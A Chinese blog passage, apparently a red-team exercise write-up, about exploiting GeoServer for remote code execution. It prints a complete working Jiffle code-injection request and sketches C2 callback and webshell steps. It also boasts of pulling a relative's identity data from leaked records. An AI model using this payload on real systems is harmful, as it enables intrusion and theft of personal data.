background

一次地区的hw 规模很小记录一下主要是这个洞利用起来有点意思再有就是这是我hw这么久以来打出的最具有价值的漏洞几千万的数据离谱到啥程度呢直接在里面给我对象奶奶的三要素给查出来了

打点

开局是很朴实无华的弱口令进的后台 a.com 抓包发现数据是从b.com拉取过来的后面发现其实cookie也是b.com下发的

直接访问b.com 403 带路径访问也是403 但是我发现路径里有geoserver 于是测一下geoserver的poc 没反应就没去管了

POST /geoserver/wms HTTP/1.1
Content-Type: application/xml
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xxx.xxx.xxx.xxx
Content-Length: 1967
Expect: 100-continue
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
    <ows:Identifier>ras:Jiffle</ows:Identifier>
    <wps:DataInputs>
      <wps:Input>
        <ows:Identifier>coverage</ows:Identifier>
        <wps:Data>
          <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>script</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>outputType</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>DOUBLE</wps:LiteralData>
        </wps:Data>
      </wps:Input>
    </wps:DataInputs>
    <wps:ResponseForm>
      <wps:RawDataOutput mimeType="image/tiff">
        <ows:Identifier>result</ows:Identifier>
      </wps:RawDataOutput>
    </wps:ResponseForm>
  </wps:Execute>

后面我发现漏洞实际上是在wms接口产生的而目标站的wms接口路径是/geoserver/aaa/wms 所以我这里的poc也需要替换掉路径

成功rce ping不通域名 ping114.114.114.114有回显 curl和wget C2都没反应估计是icmp出网且没配置dns 当时我就有点纳闷了一个与云务器怎么配置的不出网？然后思路全部在打内存马上面了各站试感觉网上的内存马都是打CVE-2024-36401的我这个实际上是cve2022都试了一圈内存马也没出货不出网又弹不了shell 只能正向啊不然无解后面curl了一下127.0.0.1不通然后127.0.0.1:8080是tomcat的页面然后直接从公网访问b.com 403 带着?token=xxx访问就是tomcat的页面于是我感觉服务实际上是跑在tomcat里面的

find一下logo 确定绝对路径然后直接一个touch 1.txt 访问直接出货 yes

我一般写shell的思路都是echo 111>1.jsp 但是这里不行了 >被实体化编码了我一点也不懂java 但是都味到肉香了肯定不能放弃啊

然后感觉可能是这个的原因